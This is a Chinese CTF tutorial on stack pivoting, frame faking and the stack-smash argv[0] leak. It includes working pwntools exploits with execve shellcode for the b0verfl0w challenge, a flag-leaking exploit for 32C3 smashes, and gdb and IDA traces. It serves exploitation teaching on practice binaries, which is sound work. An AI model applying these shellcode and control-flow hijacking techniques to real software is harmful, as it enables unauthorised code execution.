其它棧溢位技巧
# stack privot
## 原理
stack privot,正如它所描述的,該技巧就是劫持棧指標指向攻擊者所能控制的記憶體處。然後再在相應的位置進行ROP。一般來說,我們可能在以下情況需要使用stack privot
- 可以控制的棧溢位的位元組數較少,難以構造較長的ROP鏈
- 開啟了PIE保護,棧地址未知,我們可以將棧劫持到已知的區域。
- 其它漏洞難以利用,我們需要進行轉換,比如說將棧劫持到堆空間,從而利用堆漏洞
此外,利用stack privot有以下幾個要求
- 可以控制程式執行流。
- 可以控制sp指標。一般來說,控制棧指標會使用ROP,常見的控制棧指標的gadgets一般是
```assembly
pop rsp/esp
```
當然,還會有一些其它的姿勢。比如說libc_csu_init中的gadgets,我們通過偏移就可以得到控制rsp指標。上面的是正常的,下面的是偏移的。
```assembly
gef➤ x/7i 0x000000000040061a
0x40061a <__libc_csu_init+90>:pop rbx
0x40061b <__libc_csu_init+91>:pop rbp
0x40061c <__libc_csu_init+92>:pop r12
0x40061e <__libc_csu_init+94>:pop r13
0x400620 <__libc_csu_init+96>:pop r14
0x400622 <__libc_csu_init+98>:pop r15
0x400624 <__libc_csu_init+100>:ret
gef➤ x/7i 0x000000000040061d
0x40061d <__libc_csu_init+93>:pop rsp
0x40061e <__libc_csu_init+94>:pop r13
0x400620 <__libc_csu_init+96>:pop r14
0x400622 <__libc_csu_init+98>:pop r15
0x400624 <__libc_csu_init+100>:ret
```
此外,還有更加高階的fake frame。
- 存在可以控制內容的記憶體,一般有如下
- bss段。由於程序按頁分配記憶體,分配給bss段的記憶體大小至少一個頁(4k,0x1000)大小。然而一般bss段的內容用不了這麼多的空間,並且bss段分配的記憶體頁擁有讀寫許可權。
- heap。但是這個需要我們能夠洩露堆地址。
## 示例
### 例1
這裡我們以**X-CTF Quals 2016 - b0verfl0w**為例,進行介紹。首先,檢視程式的安全保護,如下
```shell
➜ X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ checksec b0verfl0w
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
```
可以看出源程式為32位,也沒有開啟NX保護,下面我們來找一下程式的漏洞
```C
signed int vul()
{
char s; // [sp+18h] [bp-20h]@1
puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(&s, 50, stdin);
printf("Hello %s.", &s);
fflush(stdout);
return 1;
}
```
可以看出,源程式存在棧溢位漏洞。但是其所能溢位的位元組就只有50-0x20-4=14個位元組,所以我們很難執行一些比較好的ROP。這裡我們就考慮stack privot。由於程式本身並沒有開啟堆疊保護,所以我們可以在棧上佈置shellcode並執行。基本利用思路如下
- 利用棧溢位佈置shellcode
- 控制eip指向shellcode處
第一步,還是比較容易地,直接讀取即可,但是由於程式本身會開啟ASLR保護,所以我們很難直接知道shellcode的地址。但是棧上相對偏移是固定的,所以我們可以利用棧溢位對esp進行操作,使其指向shellcode處,並且直接控制程式跳轉至esp處。那下面就是找控制程式跳轉到esp處的gadgets了。
```assembly
➜ X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ ROPgadget --binary b0verfl0w --only 'jmp|ret'
Gadgets information
============================================================
0x08048504 : jmp esp
0x0804836a : ret
0x0804847e : ret 0xeac1
Unique gadgets found: 3
```
這裡我們發現有一個可以直接跳轉到esp的gadgets。那麼我們可以佈置payload如下
```text
shellcode|padding|fake ebp|0x08048504|set esp point to shellcode and jmp esp
```
那麼我們payload中的最後一部分改如何設定esp呢,可以知道
- size(shellcode+padding)=0x20
- size(fake ebp)=0x4
- size(0x08048504)=0x4
所以我們最後一段需要執行的指令就是
```assembly
sub 0x28,esp
jmp esp
```
所以最後的exp如下
```python
from pwn import *
sh = process('./b0verfl0w')
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (
0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()
```
### 例2-轉移堆
待。
## 題目
- EkoPartyCTF 2016 fuckzing-exploit-200
# frame faking
正如這個技巧名字所說的那樣,這個技巧就是構造一個虛假的棧幀來控制程式的執行流。
## 原理
概括地講,我們在之前講的棧溢位不外乎兩種方式
- 控制程式EIP
- 控制程式EBP
其最終都是控制程式的執行流。在frame faking中,我們所利用的技巧便是同時控制EBP與EIP,這樣我們在控制程式執行流的同時,也改變程式棧幀的位置。一般來說其payload如下
```
buffer padding|fake ebp|leave ret addr|
```
即我們利用棧溢位將棧上構造為如上格式。這裡我們主要接下後面兩個部分
- 函式的返回地址被我們覆蓋為執行leave ret的地址,這就表明了函式在正常執行完自己的leave ret後,還會再次執行一次leave ret。
- 其中fake ebp為我們構造的棧幀的基地址,需要注意的是這裡是一個地址。一般來說我們構造的假的棧幀如下
```
fake ebp
|
v
ebp2|target function addr|leave ret addr|arg1|arg2
```
這裡我們的fake ebp指向ebp2,即它為ebp2所在的地址。通常來說,這裡都是我們能夠控制的可讀的內容。在我們介紹基本的控制過程之前,我們還是有必要說一下,函式的入口點與出口點的基本操作
入口點
```
push ebp # 將ebp壓棧
move esp, ebp #將esp的值賦給ebp
```
出口點
```
leave
ret #pop eip,彈出棧頂元素作為程式下一個執行地址
```
其中leave指令相當於
```
move ebp, esp # 將ebp的值賦給esp
pop ebp #彈出ebp
```
下面我們來仔細說一下基本的控制過程。
1. 在有棧溢位的程式執行leave時,其分為兩個步驟
- move ebp, esp ,這會將esp也指向當前棧溢位漏洞的ebp基地址處。
- pop ebp, 這會將棧中存放的fake ebp的值賦給ebp。即執行完指令之後,ebp便指向了ebp2,也就是儲存了ebp2所在的地址。
2. 執行ret指令,會再次執行leave ret指令。
3. 執行leave指令,其分為兩個步驟
- move ebp, esp ,這會將esp指向ebp2。
- pop ebp,此時,會將ebp的內容設定為ebp2的值,同時esp會指向target function。
4. 執行ret指令,這時候程式就會執行targetfunction,當其進行程式的時候會執行
- push ebp,會將ebp2值壓入棧中,
- move esp, ebp,將ebp指向當前基地址。
此時的棧結構如下
```
ebp
|
v
ebp2|leave ret addr|arg1|arg2
```
5. 當程式執行師,其會正常申請空間,同時我們在棧上也安排了該函式對應的引數,所以程式會正常執行。
6. 程式結束後,其又會執行兩次 leave ret addr,所以如果我們在ebp2處佈置好了對應的內容,那麼我們就可以一直控制程式的執行流程。
可以看出在fake frame中,我們有一個需求就是,我們必須得有一塊可以寫的記憶體,並且我們還知道這塊記憶體的地址,這一點與stack privot相似。
## 例子
目前來說,我在exploit-exercise的fusion level2中利用過這個技巧,其它地方暫時還未遇到,遇到的時候再進行補充。
## 題目
參考閱讀
- [http://www.xfocus.net/articles/200602/851.html](http://www.xfocus.net/articles/200602/851.html)
- [http://phrack.org/issues/58/4.html](http://phrack.org/issues/58/4.html)
# Stack smash
## 原理
在程式加了canary保護之後,如果我們讀取的buffer覆蓋了對應的值時,程式就會報錯,而一般來說我們並不會關心報錯資訊。而stack smash技巧則就是利用列印這一資訊的程式來得到我們想要的內容。這是因為在程式發現canary保護之後,如果發現canary被修改的話,程式就會執行__stack_chk_fail函式來列印argv[0]指標所指向的字串,正常情況下,這個指標指向了程式名。其程式碼如下
```C
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
```
所以說如果我們利用棧溢位覆蓋argv[0]為我們想要輸出的字串的地址,那麼在__fortify_fail函式中就會輸出我們想要的資訊。
## 例子
這裡,我們以2015年32C3 CTF smashes為例進行介紹,該題目在jarvisoj上有復現。
### 確定保護
可以看出程式為64位,主要開啟了Canary保護以及NX保護,以及FORTIFY保護。
```shell
➜ stacksmashes git:(master) ✗ checksec smashes
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
```
### 分析程式
ida看一下
```c
__int64 sub_4007E0()
{
__int64 v0; //
__int64 v1; // [email protected]
int v2; // [email protected]
__int64 v4; // [sp+0h] [bp-128h]@1
__int64 v5; // [sp+108h] [bp-20h]@1
v5 = *MK_FP(__FS__, 40LL);
__printf_chk(1LL, (__int64)"Hello!\nWhat's your name? ");
LODWORD(v0) = _IO_gets((__int64)&v4);
if ( !v0 )
LABEL_9:
_exit(1);
v1 = 0LL;
__printf_chk(1LL, (__int64)"Nice to meet you, %s.\nPlease overwrite the flag: ");
while ( 1 )
{
v2 = _IO_getc(stdin);
if ( v2 == -1 )
goto LABEL_9;
if ( v2 == '\n' )
break;
byte_600D20[v1++] = v2;
if ( v1 == ' ' )
goto LABEL_8;
}
memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));
LABEL_8:
puts("Thank you, bye!");
return *MK_FP(__FS__, 40LL) ^ v5;
}
```
很顯然,程式在_IO_gets((__int64)&v4);存在棧溢位。
此外,程式中還提示要overwrite flag。而且發現程式很有意思的在while迴圈之後執行了這條語句
```C
memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));
```
又看了看對應地址的內容,可以發現如下內容,說明程式的flag就在這裡啊。
```
.data:0000000000600D20 ; char aPctfHereSTheFl[]
.data:0000000000600D20 aPctfHereSTheFl db 'PCTF{Here',27h,'s the flag on server}',0
```
但是如果我們直接利用棧溢位輸出該地址的內容是不可行的,這是因為我們讀入的內容` byte_600D20[v1++] = v2;`也恰恰就是該塊記憶體,這會直接將其覆蓋掉,這時候我們就需要利用一個技巧了
- 在EFL記憶體對映時,bss段會被對映兩次,所以我們可以使用另一處的地址來進行輸出,可以使用gdb的find來進行查詢。
### 確定flag地址
我們把斷點下載memset函式處,然後讀取相應的內容如下
```shell
gef➤ c
Continuing.
Hello!
What's your name? qqqqqqq
Nice to meet you, qqqqqqq.
Please overwrite the flag: 222222222
Breakpoint 1, __memset_avx2 () at ../sysdeps/x86_64/multiarch/memset-avx2.S:38
38../sysdeps/x86_64/multiarch/memset-avx2.S: 沒有那個檔案或目錄.
─────────────────────────────────────[ code:i386:x86-64 ]────
0x7ffff7b7f920 <__memset_chk_avx2+0> cmp rcx, rdx
0x7ffff7b7f923 <__memset_chk_avx2+3> jb 0x7ffff7b24110 <__GI___chk_fail>
0x7ffff7b7f929 nop DWORD PTR [rax+0x0]
→ 0x7ffff7b7f930 <__memset_avx2+0> vpxor xmm0, xmm0, xmm0
0x7ffff7b7f934 <__memset_avx2+4> vmovd xmm1, esi
0x7ffff7b7f938 <__memset_avx2+8> lea rsi, [rdi+rdx*1]
0x7ffff7b7f93c <__memset_avx2+12> mov rax, rdi
───────────────────────────────────────────────────────────────────[ stack ]────
['0x7fffffffda38', 'l8']
8
0x00007fffffffda38│+0x00: 0x0000000000400878 → mov edi, 0x40094e← $rsp
0x00007fffffffda40│+0x08: 0x0071717171717171 ("qqqqqqq"?)
0x00007fffffffda48│+0x10: 0x0000000000000000
0x00007fffffffda50│+0x18: 0x0000000000000000
0x00007fffffffda58│+0x20: 0x0000000000000000
0x00007fffffffda60│+0x28: 0x0000000000000000
0x00007fffffffda68│+0x30: 0x0000000000000000
0x00007fffffffda70│+0x38: 0x0000000000000000
──────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x7ffff7b7f930 → Name: __memset_avx2()
[#1] 0x400878 → mov edi, 0x40094e
──────────────────────────────────────────────────────────────────────────────
gef➤ find 22222
Argument required (expression to compute).
gef➤ find '22222'
No symbol "22222" in current context.
gef➤ grep '22222'
[+] Searching '22222' in memory
[+] In '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes'(0x600000-0x601000), permission=rw-
0x600d20 - 0x600d3f → "222222222's the flag on server}"
[+] In '[heap]'(0x601000-0x622000), permission=rw-
0x601010 - 0x601019 → "222222222"
gef➤ grep PCTF
[+] Searching 'PCTF' in memory
[+] In '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes'(0x400000-0x401000), permission=r-x
0x400d20 - 0x400d3f → "PCTF{Here's the flag on server}"
```
可以看出我們讀入的2222已經覆蓋了0x600d20處的flag,但是我們在記憶體的0x400d20處仍然找到了這個flag的備份,所以我們還是可以將其輸出。這裡我們已經確定了flag的地址。
### 確定偏移
下面,我們確定argv[0]距離讀取的字串的偏移。
首先下斷點在main函式入口處,如下
```shell
gef➤ b *0x00000000004006D0
Breakpoint 1 at 0x4006d0
gef➤ r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes
Breakpoint 1, 0x00000000004006d0 in ?? ()
code:i386:x86-64 ]────
0x4006c0 <
0x4006c6 <[email protected]+6> push 0x9
0x4006cb <[email protected]+11> jmp 0x400620
→ 0x4006d0 sub rsp, 0x8
0x4006d4 mov rdi, QWORD PTR [rip+0x200665] # 0x600d40 <stdout>
0x4006db xor esi, esi
0x4006dd call 0x400660 <
──────────────────────────────────────────────────────────────────[ stack ]────
['0x7fffffffdb78', 'l8']
8
0x00007fffffffdb78│+0x00: 0x00007ffff7a2d830 → <__libc_start_main+240> mov edi, eax← $rsp
0x00007fffffffdb80│+0x08: 0x0000000000000000
0x00007fffffffdb88│+0x10: 0x00007fffffffdc58 → 0x00007fffffffe00b → "/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/exam[...]"
0x00007fffffffdb90│+0x18: 0x0000000100000000
0x00007fffffffdb98│+0x20: 0x00000000004006d0 → sub rsp, 0x8
0x00007fffffffdba0│+0x28: 0x0000000000000000
0x00007fffffffdba8│+0x30: 0x48c916d3cf726fe3
0x00007fffffffdbb0│+0x38: 0x00000000004006ee → xor ebp, ebp
──────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x4006d0 → sub rsp, 0x8
[#1] 0x7ffff7a2d830 → Name: __libc_start_main(main=0x4006d0, argc=0x1, argv=0x7fffffffdc58, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdc48)
---Type <return> to continue, or q <return> to quit---
[#2] 0x400717 → hlt
```
可以看出0x00007fffffffe00b指向程式名,其自然就是argv[0],所以我們修改的內容就是這個地址。同時0x00007fffffffdc58處保留著該地址,所以我們真正需要的地址是0x00007fffffffdc58。
此外,根據彙編程式碼
```assembly
.text:00000000004007E0 push rbp
.text:00000000004007E1 mov esi, offset aHelloWhatSYour ; "Hello!\nWhat's your name? "
.text:00000000004007E6 mov edi, 1
.text:00000000004007EB push rbx
.text:00000000004007EC sub rsp, 118h
.text:00000000004007F3 mov rax, fs:28h
.text:00000000004007FC mov [rsp+128h+var_20], rax
.text:0000000000400804 xor eax, eax
.text:0000000000400806 call ___printf_chk
.text:000000000040080B mov rdi, rsp
.text:000000000040080E call __IO_gets
```
我們可以確定我們讀入的字串的起始地址其實就是呼叫__IO_gets之前的rsp,所以我們把斷點下在call處,如下
```assembly
gef➤ b *0x000000000040080E
Breakpoint 2 at 0x40080e
gef➤ c
Continuing.
Hello!
What's your name?
Breakpoint 2, 0x000000000040080e in ?? ()
──────────────────────────[ code:i386:x86-64 ]────
0x400804 xor eax, eax
0x400806 call 0x4006b0 <[email protected]>
0x40080b mov rdi, rsp
→ 0x40080e call 0x4006c0 <[email protected]>
↳ 0x4006c0 <[email protected]+0> jmp QWORD PTR [rip+0x20062a] # 0x600cf0 <[email protected]>
0x4006c6 <[email protected]+6> push 0x9
0x4006cb <[email protected]+11> jmp 0x400620
0x4006d0 sub rsp, 0x8
──────────────────[ stack ]────
['0x7fffffffda40', 'l8']
8
0x00007fffffffda40│+0x00: 0x0000ff0000000000 ← $rsp, $rdi
0x00007fffffffda48│+0x08: 0x0000000000000000
0x00007fffffffda50│+0x10: 0x0000000000000000
0x00007fffffffda58│+0x18: 0x0000000000000000
0x00007fffffffda60│+0x20: 0x0000000000000000
0x00007fffffffda68│+0x28: 0x0000000000000000
0x00007fffffffda70│+0x30: 0x0000000000000000
0x00007fffffffda78│+0x38: 0x0000000000000000
───────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x40080e → call 0x4006c0 <[email protected]>
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ print $rsp
$1 = (void *) 0x7fffffffda40
```
可以看出rsp的值為0x7fffffffda40,那麼相對偏移為
```python
>>> 0x00007fffffffdc58-0x7fffffffda40
536
>>> hex(536)
'0x218'
```
### 利用程式
我們構造利用程式如下
```python
from pwn import *
context.log_level = 'debug'
smash = ELF('./smashes')
if args['REMOTE']:
sh = remote('pwn.jarvisoj.com', 9877)
else:
sh = process('./smashes')
argv_addr = 0x00007fffffffdc58
name_addr = 0x7fffffffda40
flag_addr = 0x600D20
another_flag_addr = 0x400d20
payload = 'a' * (argv_addr - name_addr) + p64(another_flag_addr)
sh.recvuntil('name? ')
sh.sendline(payload)
sh.recvuntil('flag: ')
sh.sendline('bb')
data = sh.recv()
sh.interactive()
```
這裡我們直接就得到了flag,沒有出現網上說的得不到flag的情況。
## 題目
相關推薦
其它棧溢位技巧
# stack privot ## 原理 stack privot,正如它所描述的,該技巧就是劫持棧指標指向攻擊者所能控制的記憶體處。然後再在相應的位置進行ROP。一般來說,我們可能在以下情況需要使用stack privot - 可以控制的棧溢位的位元組數較少,難以構造較長的ROP鏈 - 開啟了PIE保護,
花式棧溢位技巧----partial overwrite
學習資料:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/others/#partial-overwrite &
花式棧溢位技巧----Stack smash
學習文獻:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/others/#stack-smash 以前遇見過一次這種情況,但是是不求甚解的完成了,這次慢慢分析一下原理 棧保護和NX欄位都開啟了,這裡科普一下棧保護,
花式棧溢位技巧----stack pivoting/frame faking
學習文獻:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/ http
關於 [棧溢位後jmp esp執行shellcode] 原理分析
原文地址:https://blog.csdn.net/lixiangminghate/article/details/53333710 正常情況下,函式棧分佈圖如下: 即,返回地址被改為一段快取區的地址。當函式執行結束,從棧中取返回地址準備執行時,取到的是shellcode的地址,最終跳進shellc
0day安全:軟體漏洞分析技術 第二章 棧溢位原理及實踐
_stdcall呼叫約定下,函式呼叫時用到的指令序列大致如下:push 引數3push 引數2push 引數1call 函式地址;a)向棧中壓入當前指令在記憶體中的位置,即儲存儲存返回地址。b)跳轉到所呼叫函式的入口push ebp 儲存舊棧幀的底部mov ebp,esp 設定新棧幀的底部(棧幀切換)sub
___security_cookie機制,防止棧溢位
有關security cookie在棧保護上的研究06.10 by flyingkisser這裡主要討論棧,不是堆。首先,security cookie並不是windows系統自帶的保護機制,並不是說一個確實存在溢位漏洞的程式,放到帶security cookie保護的環境中,就不能正常溢位了。那麼,到底是什
棧溢位----中級ROP
學習資料:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium_rop/ 1.ret2__libc_csu_init 這個主要是爭對64位的程式的,和32位的棧傳參不同的是,在 64 位程式中,函式的前 6 個引
棧溢位----基礎rop
學習文獻:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/ 1. 棧溢位基本原理就不寫了 列舉一下常見的危險函式: 輸入 gets,直接讀取一行,忽略'\x00'
經典棧溢位 Easy RM to MP3 Converter
以一個樣本(Easy RM to MP3 Converter)將作為經典棧溢位的講解例項,首先說明此實驗是WIN10環境下復現的; “Easy RM 2 MP3 Converter”是一個音訊格式的轉換工具,年代比較久遠了。在2009年7月17日,packetstormsecurity公開了該軟
編譯器防止棧溢位的策略
棧溢位的原理前面已經說過,為了防止棧溢位增加了一個全域性變數 ___security_cookie ,把它和當前esp做異或後,值放到儲存的eip、ebp得上面(該函式棧空間的第一個變數) 該函式呼叫結束後,再把var_4和esp(兩處的esp值應該是相同的)做異或,值放到ecx
寫Java程式碼分別使堆溢位,棧溢位
原文連結:https://www.cnblogs.com/tv151579/p/3647238.html 轉自:http://fxlzs2000.iteye.com/blog/1786407 轉自:http://my.oschina.net/sdrkyj/blog/143410 前言 primitiv
linux漏洞分析入門筆記-棧溢位
ida7.0 ubuntu16.04 lts 0x00:環境配置 使用IDA遠端除錯Linux程式步驟如下: 1. 在進行遠端除錯之前需要對Linux平臺進行一些準備工作。在IDA的安裝目錄中的dbgsrv資料夾中,選擇linux_server或者linux_serverx64複製到需要除錯Linux
Java堆溢位及棧溢位
記憶體溢位Out Of Memory(OOM):指申請記憶體時,沒有足夠的記憶體供其使用。 記憶體洩露Memory Leak:記憶體洩露,程式申請記憶體後,無法釋放已申請的記憶體空間。記憶體洩露的堆積,浪費了記憶體空間,可能會造成OOM. 堆溢位資訊:
C++11的shared_ptr有可能導致函式呼叫棧溢位
最開始關注這個問題是在測試C++ Concurrency in Action這本書提及的幾個版本stack資料結構的實現,其中lock free版本的實現時,需要精巧的記憶體回收機制,其中在介紹count reference記憶體回收機制時,作者認為shared_ptr是有r
棧溢位學習之bindshell的實現
最近學習《0day安全》一書 記錄一下除錯編碼過程 書中環境XP VC6 本機的環境是server 2008 r2 x64 編譯環境是vs2013 第一步: 首先是寫一個win c版本的bindshell 程式碼如下: #include<winsock2
2018-12-15 使用Jlink 除錯RTThread(執行緒棧溢位的確定 / 實際執行緒棧使用情況的檢視) 方法
【題外話】 我第一次接觸RTThread的時候是2014年,當時是本科畢業設計中需要使用到一款wifi模組進行無線視訊傳輸,該模組提供的例程就是基於RTThread的。當時由於水平有限(就是水),看到這種長篇大論的程式碼還是有點頭疼。後來碩士期間也接觸過uCOS,至於RTThread一直到今年之前再未接
寫程式碼實現棧溢位、堆溢位、永久代溢位、直接記憶體溢位
棧溢位(StackOverflowError) 堆溢位(OutOfMemoryError:Java heap space) 永久代溢位(OutOfMemoryError: PermGen space) 直接記憶體溢位 一、堆溢位 建立物件時如果沒有可以分配的堆記憶體,
js實現遞迴,尾遞迴(遞迴優化),防止棧溢位
一、一版的遞迴實現 n!,比如 5!= 5 * 4 * 3 * 2 *1 function fact(n) { if(n == 1) {
棧溢位之Return2libc
參考文章:https://zhuanlan.zhihu.com/p/25816426 我們利用函式呼叫來實現攻擊,核心目的是用攻擊指令的地址來覆蓋返回地址 通常用的有以下四種方法: 修改返回地址,讓其指向溢位資料中的一段指令(shellcode) 修改返回地址,讓其指向記憶體中已